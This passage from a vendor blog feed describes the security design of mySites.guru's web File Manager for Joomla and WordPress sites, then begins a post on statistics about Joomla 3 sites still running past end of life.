&lt;p&gt;A normal delete doesn’t unlink the file. It moves it into a folder called &lt;code&gt;.mysites-trash&lt;/code&gt; inside your own site, keeping its original path so two files with the same name don’t collide. mySites.guru’s own audit is told to ignore that folder, so trashed files don’t show up as suspect content in your next scan. From there you can put a file back, or leave it, or empty the trash for good.&lt;/p&gt;
&lt;p&gt;The trash folder itself is locked down once something’s in it: the File Manager will not open or edit a file while it’s sitting in &lt;code&gt;.mysites-trash&lt;/code&gt;, only move it back out or remove it for good. Force-deleting is a separate, explicit action, and anything already inside the trash is removed for good when you force-delete it rather than being trashed a second time. The trash itself is capped at 512MB per site: once it fills, the oldest batches are pruned automatically so it can’t be used to eat your disk quota.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; aren’t fenced off either: you can edit or delete them like any other file, because with deletes defaulting to the trash, that’s a recoverable mistake rather than a security gap. The one file the manager will not delete, wherever it appears in the tree, is &lt;code&gt;index.php&lt;/code&gt;, since clearing that out would break the connection this whole feature depends on.&lt;/p&gt;
&lt;h2&gt;How Do You Turn It On?&lt;/h2&gt;
&lt;p&gt;Two-factor authentication is a prerequisite, not just a checkbox on the way in. No mySites.guru account without it turned on can enable the File Manager, or even open it on a site where someone else already has. That applies per person: if a team member’s own account doesn’t have 2FA set up, granting them access to the site doesn’t get them into the File Manager, because their account doesn’t clear the gate on its own.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_2amVlt.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_1Mkfem.webp 640w, https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_ZHxRHG.webp 750w, https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_PMlov.webp 828w, https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_Z1w5YW8.webp 1080w, https://mysites.guru/_astro/web-file-manager-2fa-prompt-screenshot.zSPMznWv_2amVlt.webp 1094w&quot; alt=&quot;mySites.guru&apos;s &amp;quot;Secure your account&amp;quot; prompt, requiring two-factor authentication before a feature like the File Manager can be enabled or opened&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1094px) 1094px, 100vw&quot; width=&quot;1094&quot; height=&quot;940&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;With that in place, the switch lives on each site’s File Manager tab. Before you flip it, the tab shows an off-state screen rather than the switch itself: who gets in, where it can reach, what happens when you delete something, and that every read and write is recorded, all laid out before the button that turns it on.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_Z1gsmiB.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_Z1p79sL.webp 640w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_ZMFb6K.webp 750w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_1uY6qA.webp 828w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_GQdzh.webp 1080w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_Nbv7g.webp 1280w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_ZRc9le.webp 1668w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_ZINdt0.webp 2048w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_1H64vF.webp 2560w, https://mysites.guru/_astro/web-file-manager-off-state-screenshot.DJZ_nMn9_Z1gsmiB.webp 3176w&quot; alt=&quot;The mySites.guru File Manager off-state screen for a WordPress site, explaining who gets access, where the file manager can reach, that deletes go to a trash first, and that every action is recorded, above a &amp;quot;Turn the File Manager on&amp;quot; button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3176px) 3176px, 100vw&quot; width=&quot;3176&quot; height=&quot;2150&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Turning it on itself takes more than one click:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your account password, typed again.&lt;/li&gt;
&lt;li&gt;A site that isn’t flagged with a broken SSL chain. If mySites.guru already knows your site is presenting an untrustworthy or spoofable TLS certificate, the File Manager stays off for an ordinary owner, on the reasoning that a connection we don’t trust isn’t one we should be writing files over either.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Turning it off again never asks for any of that, and it doesn’t happen from the File Manager tab you used to turn it on: it’s on the site’s Config tab, under Advanced, where a “Write channel is open” status sits next to a single Turn it off button.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_jX51w.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z1InQ1t.webp 640w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z2pxgrQ.webp 750w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z65xy8.webp 828w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z1Gto34.webp 1080w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z2tHk0F.webp 1280w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_Z6V6lL.webp 1668w, https://mysites.guru/_astro/web-file-manager-turn-off-config-screenshot.BNnuZdn7_jX51w.webp 1966w&quot; alt=&quot;The File Manager section of a site&apos;s Config tab, under Advanced, in mySites.guru, showing &amp;quot;Write channel is open&amp;quot; next to a red Turn it off button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1966px) 1966px, 100vw&quot; width=&quot;1966&quot; height=&quot;410&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Closing the write channel only ever reduces risk, so it asks nothing of you beyond that one click: no password, and no signing in again. It’s still the account owner’s switch, the same as turning it on, and your files (and anything sitting in the trash) are left exactly where they were.&lt;/p&gt;
&lt;h2&gt;How the File Manager Talks to Your Site&lt;/h2&gt;
&lt;p&gt;Every request the File Manager sends travels over the same encrypted channel every other mySites.guru tool already uses: your site’s own connector, authenticated with the RSA key pair generated when you first connected it, with each request validated once through a single-use callback before the connector will act on it. There’s no separate password, no new port to open, and no additional credential to leak.&lt;/p&gt;
&lt;p&gt;The reply travels back the same way, but with one addition specific to a tool that writes to disk: every reply is authenticated with its own HMAC before the encryption masks it. The stream cipher used for that masking has no integrity checking of its own, so without the HMAC a tampered-with reply could look like a successful one. With it, a reply that fails the check is treated as a failure, never as a partial success.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;div&gt;Connector commands&lt;/div&gt;&lt;div&gt;browse, read, save, upload, mkdir, delete, rename, chmod and more&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;300/hr&lt;/div&gt;&lt;div&gt;Rate limit&lt;/div&gt;&lt;div&gt;per user, per site, on every write&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;5 min&lt;/div&gt;&lt;div&gt;Upload token lifetime&lt;/div&gt;&lt;div&gt;single-use, then it&apos;s dead&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;512MB&lt;/div&gt;&lt;div&gt;Trash cap per site&lt;/div&gt;&lt;div&gt;oldest batches pruned automatically&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why Every Path Is Jailed to Your Site Root&lt;/h2&gt;
&lt;p&gt;Every path the File Manager touches is resolved and checked against your site’s own root before anything happens to it, with no exceptions carved out anywhere in the code. A symlink that points outside that root is blocked rather than followed, whether you’re reading through it or trying to write through it. The connector’s own folder, which holds your site’s private key, is on a permanent deny list: the File Manager can’t read it, write to it, or show it in a folder listing, no matter how you navigate.&lt;/p&gt;
&lt;p&gt;That jail is also why the feature was worth building carefully rather than quickly. Reviewing it turned up a real, previously unjailed path check in an older, unrelated single-file command that had existed in mySites.guru for years, reachable through the legacy “restore this flagged file” action. It’s fixed now, and the fix went out ahead of this feature rather than alongside it.&lt;/p&gt;
&lt;h2&gt;Why Uploads Are Pulled, Not Pushed&lt;/h2&gt;
&lt;p&gt;The encrypted channel every other command travels over is built for small payloads, not multi-megabyte files: pushing a file through it the same way as everything else would mean tens of thousands of individual decrypt operations for anything bigger than a few kilobytes. So uploads work the other way around.&lt;/p&gt;
&lt;p&gt;Your browser uploads the file to mySites.guru first, where it’s staged privately with a random key and no trace of the original filename. mySites.guru then hands the connector a single-use link, valid for five minutes, pointing only at mySites.guru’s own domains. The connector fetches that file itself, over its own outbound connection, and checks the exact byte count and a SHA-256 hash of what it actually downloaded before moving anything into your site’s jail. A link to anywhere else simply wouldn’t be accepted: the connector only trusts URLs on the handful of domains it already knows.&lt;/p&gt;
&lt;p&gt;That shape has a side benefit beyond speed. Because the connector fetches the file itself and writes it locally, the upload never arrives as an inbound HTTP request to your site. Your own server-level firewall or WAF, the kind that inspects incoming uploads and sometimes blocks a legitimate one that merely looks unusual, never sees it and never gets a chance to interfere.&lt;/p&gt;
&lt;h2&gt;Every Read and Write Gets Logged Twice&lt;/h2&gt;
&lt;p&gt;Every action the File Manager performs is written to your site’s own activity log the same way any other change would be, so if a team member deletes a file at 2am, you can see who did it and when, on your own site, independent of mySites.guru. It’s also written a second time into a separate audit table inside mySites.guru itself, regardless of whether the action succeeded or failed. Neither log depends on the other, so losing one doesn’t blind you to the other.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_ZeKy90.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_opPeY.webp 640w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_Z21i2z9.webp 750w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_26e53b.webp 828w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_ZLt6W.webp 1080w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_1APwYd.webp 1280w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_Zdbycv.webp 1668w, https://mysites.guru/_astro/web-file-manager-activity-log-screenshot.CIYiJukm_ZeKy90.webp 2040w&quot; alt=&quot;The mySites.guru Recent File Manager Activity log, listing who performed each mkdir, read, chmod, delete and upload action, the path touched, and whether it succeeded or failed&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2040px) 2040px, 100vw&quot; width=&quot;2040&quot; height=&quot;2008&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;That second log is what you’d open to answer “who touched this file and when”: a plain table of who did what, to which path, and whether it worked, with the full history for every site available from the account activity log.&lt;/p&gt;
&lt;p&gt;That mirrors the wider practice this site follows for &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;client activity reporting&lt;/a&gt;: an action that touches a live site should be traceable after the fact, not just permitted at the time.&lt;/p&gt;
&lt;h2&gt;How Do You Manage It Across Dozens of Sites?&lt;/h2&gt;
&lt;p&gt;Agencies running mySites.guru rarely manage one site at a time, so the File Manager has its own switchboard: one page listing every eligible site with an on/off switch per row, plus enable-all and disable-all for the whole account. It’s restricted to the company owner, and it enforces exactly the same password and two-factor checks a single-site toggle would, just applied to however many sites you select at once.&lt;/p&gt;
&lt;p&gt;That switchboard is also one of the results in the command palette (⌘K on Mac, Ctrl+K on Windows): start typing “file” and File Manager Access For All Sites comes up alongside every other tool.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_Iyr0p.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_1vdC5C.webp 640w, https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_xtmNp.webp 750w, https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_Z2vadbk.webp 828w, https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_1dHQcP.webp 1080w, https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_2tstsU.webp 1280w, https://mysites.guru/_astro/web-file-manager-cmdk-search-screenshot.a13wZE-F_Iyr0p.webp 1482w&quot; alt=&quot;Searching &amp;quot;file&amp;quot; in the mySites.guru command palette, with &amp;quot;File Manager Access For All Sites&amp;quot; as the top result&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1482px) 1482px, 100vw&quot; width=&quot;1482&quot; height=&quot;986&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Zxac4S.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_3WlWY.webp 640w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Z1vGJGX.webp 750w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_ZoC9O2.webp 828w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Zdi94C.webp 1080w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Z29upAq.webp 1280w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_2f6hxf.webp 1668w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Z20a1xz.webp 2048w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_ZBSYCG.webp 2560w, https://mysites.guru/_astro/web-file-manager-access-switchboard-screenshot.BV3tlQaA_Zxac4S.webp 3196w&quot; alt=&quot;The File Manager Access page listing every eligible site with its on/off state, last-changed details, and an Open button that jumps straight into that site&apos;s File Manager&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3196px) 3196px, 100vw&quot; width=&quot;3196&quot; height=&quot;940&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Each row has its own Open button, which drops you straight into that site’s File Manager tab without going through the site’s own Manage page first. Bookmark the switchboard itself and you’ve got one page that shows the File Manager state of every connected site at a glance, with instant access to any of their webspaces from the same list.&lt;/p&gt;
&lt;h2&gt;We’ve Disclosed RCEs in Other People’s File Managers&lt;/h2&gt;
&lt;p&gt;We didn’t build this in a vacuum. Earlier in 2026, we found and privately disclosed an unauthenticated file upload vulnerability in &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;, a Joomla extension used for file downloads, where the method that actually wrote a file to disk skipped the permission and file-type checks the extension appeared to have. It’s tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;. A few weeks later we found a pre-authentication remote code execution flaw in the Joomla page-building extension &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;SP Page Builder&lt;/a&gt;, tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67285/&quot;&gt;CVE-2026-67285 and CVE-2026-67286&lt;/a&gt;, where an endpoint trusted a filesystem path supplied by the visitor instead of loading it from the saved page.&lt;/p&gt;
&lt;p&gt;Both were built by vendors who believed their file-handling code was safe, and both were wrong. That’s the backdrop this feature was designed against: what does the failure mode look like when this goes wrong, and how do we make sure it can’t.&lt;/p&gt;
&lt;h2&gt;Is a Web-Based File Manager Actually Safe?&lt;/h2&gt;
&lt;p&gt;It’s a fair question to ask of any tool that reads and writes a live site’s disk, especially given how often attackers plant exactly this shape of tool as a backdoor once they’re already in. The difference here isn’t the interface, it’s what sits underneath it: every path jailed to the site root with no exceptions, every reply authenticated before it’s trusted, uploads verified by hash before they’re written anywhere, deletes recoverable by default, every action logged twice, and the whole thing off until you switch it on yourself, behind your account password and two-factor authentication.&lt;/p&gt;
&lt;p&gt;It’s also worth measuring against &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;the access you’ve already given mySites.guru&lt;/a&gt;, not against a blank sheet. Every audit already reads every file on your site. The existing suspect-content tools already let you edit or delete a single flagged file with one click. This feature is a wider door onto the same room, and it’s locked more heavily than the door you’re already using: off by default per site, confirmed again with your account password, behind two-factor authentication, and shut for an ordinary owner on a site with a broken SSL chain.&lt;/p&gt;
&lt;p&gt;Compare that to the file editor already sitting in your own Joomla administrator or WordPress dashboard. Both ship one by default: a code editor that opens any template, theme or plugin PHP file and saves the change straight to disk, with no jail, no trash, and no second log outside whatever your host happens to keep. We tell WordPress users to &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disallow-file-edit/&quot;&gt;turn that editor off entirely&lt;/a&gt; with &lt;code&gt;DISALLOW_FILE_EDIT&lt;/code&gt;, because it’s the fastest, quietest route from a stolen admin password to running code. A compromised admin login already grants everything the File Manager does, minus every one of the guardrails this feature was built with.&lt;/p&gt;
&lt;figure&gt;&lt;span&gt;“&lt;/span&gt;&lt;blockquote&gt;One can steal ideas, but no one can steal execution or passion.&lt;/blockquote&gt;&lt;figcaption&gt;Tim Ferriss&lt;/figcaption&gt;&lt;/figure&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>file-manager</category><category>joomla</category><category>wordpress</category><category>agency-tools</category><enclosure url="https://mysites.guru/img/og/blog/web-file-manager-for-joomla-and-wordpress.png" length="0" type="image/png"/></item><item><title>Joomla 3 Didn&apos;t Fail. Your Retainer Did.</title><link>https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/</guid><description>We monitor 30,305 live Joomla 3 sites. They are five times more likely to be hacked than Joomla 6, and the agencies who migrated are doing worse.</description><pubDate>Fri, 28 Aug 2026 15:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Do you want to bury your head in the sand?&lt;/p&gt;
&lt;p&gt;It is a real question, because burying it is a defensible commercial decision right up until the morning it is not. &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;Joomla 3 reached end of life in August 2023&lt;/a&gt;. The paid eLTS programme that extended it ended on 17 February 2025. Since then there has been no official security patch for the Joomla 3 core at any price, from anyone.&lt;/p&gt;
&lt;p&gt;And yet, as I write this, mySites.guru is monitoring &lt;strong&gt;30,305 live Joomla 3 sites&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Before you read another number in this post, understand where all of them come from, because it changes what they mean. Every figure here is measured across sites connected to mySites.guru. These are sites whose owners pay us every month so that somebody is watching: so the installed extensions are inventoried, so a new vulnerability raises a flag, so updates can be pushed in bulk. By any reasonable definition these are among the best looked-after Joomla sites in the world.&lt;/p&gt;
&lt;p&gt;So everything below is the good end of the ecosystem. Joomla powers millions of sites, and the overwhelming majority of them have no one doing any of this. They are not in these statistics, and there is no reason at all to think they are doing better.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30,305&lt;/div&gt;&lt;div&gt;Live Joomla 3 sites&lt;/div&gt;&lt;div&gt;Three years past end of life&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;5x&lt;/div&gt;&lt;div&gt;More likely to be hacked&lt;/div&gt;&lt;div&gt;4.90% vs 0.98% on Joomla 6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;68.2%&lt;/div&gt;&lt;div&gt;Behind even 3.10.12&lt;/div&gt;&lt;div&gt;The final Joomla 3 release&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;79%&lt;/div&gt;&lt;div&gt;Have unpatched core files&lt;/div&gt;&lt;div&gt;Of the sites we can check&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured across sites connected to mySites.guru on 28 August 2026. These are managed sites, so they represent the good end of the ecosystem.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;I am not writing this to tell you those sites are a risk. You know that. Every agency I have ever spoken to knows that. I am writing it because we finally have enough data to say something more useful, and more uncomfortable, about why they are still there.&lt;/p&gt;
&lt;h2&gt;The Joomla 3 dates, for the record&lt;/h2&gt;
&lt;p&gt;Most arguments about Joomla 3 run on a vague sense that it is old. The dates are more useful than the feeling, because they show how long the gap has been open and how much of that gap somebody was still being paid to cover.&lt;/p&gt;
&lt;p&gt;Every release date below is read from the &lt;code&gt;RELDATE&lt;/code&gt; constant compiled into that release’s own source code, so it is the date the software itself reports rather than a wiki’s recollection of it.&lt;/p&gt;






































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Release&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Gap since the previous minor&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.0&lt;/td&gt;&lt;td&gt;27 September 2012&lt;/td&gt;&lt;td&gt;The first Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.1&lt;/td&gt;&lt;td&gt;24 April 2013&lt;/td&gt;&lt;td&gt;209 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.2&lt;/td&gt;&lt;td&gt;6 November 2013&lt;/td&gt;&lt;td&gt;196 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.3&lt;/td&gt;&lt;td&gt;30 April 2014&lt;/td&gt;&lt;td&gt;175 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.4&lt;/td&gt;&lt;td&gt;24 February 2015&lt;/td&gt;&lt;td&gt;300 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.5&lt;/td&gt;&lt;td&gt;21 March 2016&lt;/td&gt;&lt;td&gt;391 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.6&lt;/td&gt;&lt;td&gt;12 July 2016&lt;/td&gt;&lt;td&gt;113 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.7&lt;/td&gt;&lt;td&gt;25 April 2017&lt;/td&gt;&lt;td&gt;287 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.8&lt;/td&gt;&lt;td&gt;19 September 2017&lt;/td&gt;&lt;td&gt;147 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.9&lt;/td&gt;&lt;td&gt;30 October 2018&lt;/td&gt;&lt;td&gt;406 days&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.10&lt;/td&gt;&lt;td&gt;14 August 2021&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1,019 days&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.10.12&lt;/td&gt;&lt;td&gt;8 July 2023&lt;/td&gt;&lt;td&gt;The final Joomla 3 release of any kind&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;That 1,019 day row compresses the whole story into one line. Joomla 3.9 in October 2018 was the last release that added features for their own sake. Joomla 3.10 was a bridge built to get people off, complete with deprecation warnings and a pre-upgrade check, rather than a version anyone was meant to settle on. Most of the estate settled on it anyway, and thousands of sites never even got that far, as the next section shows.&lt;/p&gt;
&lt;p&gt;The lifecycle dates are the ones that matter in a conversation with a client:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What happened&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;17 August 2021&lt;/td&gt;&lt;td&gt;Joomla 4.0 released, starting the two-year clock on Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8 July 2023&lt;/td&gt;&lt;td&gt;Joomla 3.10.12 ships, the last Joomla 3 release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17 August 2023&lt;/td&gt;&lt;td&gt;End of life. Free security patches stop, at any severity&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17 February 2025&lt;/td&gt;&lt;td&gt;The paid eLTS programme closes. No official patch at any price&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;October 2025&lt;/td&gt;&lt;td&gt;Joomla 4 security support ends, so the version most agencies migrated to is now unsupported as well&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10y 10m&lt;/div&gt;&lt;div&gt;Joomla 3&apos;s supported life&lt;/div&gt;&lt;div&gt;27 September 2012 to 17 August 2023&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1,107&lt;/div&gt;&lt;div&gt;Days since end of life&lt;/div&gt;&lt;div&gt;No free core patch since 17 August 2023&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;557&lt;/div&gt;&lt;div&gt;Days since any patch was purchasable&lt;/div&gt;&lt;div&gt;eLTS closed 17 February 2025&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Counted to 28 August 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Two more facts worth having to hand when somebody tells you this is a small legacy problem.&lt;/p&gt;
&lt;p&gt;Joomla 3 shipped 106 stable releases, which is more than Joomla 4, 5 and 6 have managed between them so far. It was supported for ten years and ten months, about two and a half times as long as Joomla 4 lasted. That length is exactly why so much of the web still runs it, why so many extensions were built against it, and why the people who built those sites had every reason at the time to believe they were building on something stable.&lt;/p&gt;
&lt;p&gt;The final release also still declares its minimum PHP as &lt;code&gt;5.3.10&lt;/code&gt;, in &lt;code&gt;administrator/index.php&lt;/code&gt;, unchanged since 2012. PHP 5.3 left security support in August 2014. Joomla 3 never raised that floor across its entire eleven year life, which is the root of the hosting problem further down this post: the sites are not only running old Joomla, they are running old Joomla on a PHP branch their host is preparing to remove.&lt;/p&gt;
&lt;p&gt;Dates are one way to remember a release. &lt;a href=&quot;https://www.youtube.com/@Basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; marked this one twice, and the pair is worth your time if you ever built anything on Joomla 3.&lt;/p&gt;
&lt;p&gt;First the warning, with a month left on the clock:&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;Then the look back, recorded on Joomla 3’s last day before end of life:&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2&gt;The Joomla 3 estate is worse than the version number suggests&lt;/h2&gt;
&lt;p&gt;Being on Joomla 3 is not one problem, it is a stack of them, and the stack has been growing for three years.&lt;/p&gt;
&lt;p&gt;Start with the version spread. Of those 30,305 Joomla 3 sites, only 9,638 are on 3.10.12, the final release. The other &lt;strong&gt;20,671, which is 68.2%, are behind even that&lt;/strong&gt;. There are 1,286 sites sitting on 3.6.5, 1,054 on 3.4.8, and 574 on 3.3.6. These are not sites that reached the end of the road and stopped. They stopped somewhere earlier and the road ended without them.&lt;/p&gt;
&lt;p&gt;Then the extensions. Across those sites we currently count 22,195 &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;installed extensions with a known published vulnerability&lt;/a&gt;. Three sites are running twenty of them. A hundred and seventy-one sites are running thirteen or more.&lt;/p&gt;
&lt;p&gt;The extensions doing the most damage are not obscure:&lt;/p&gt;


















































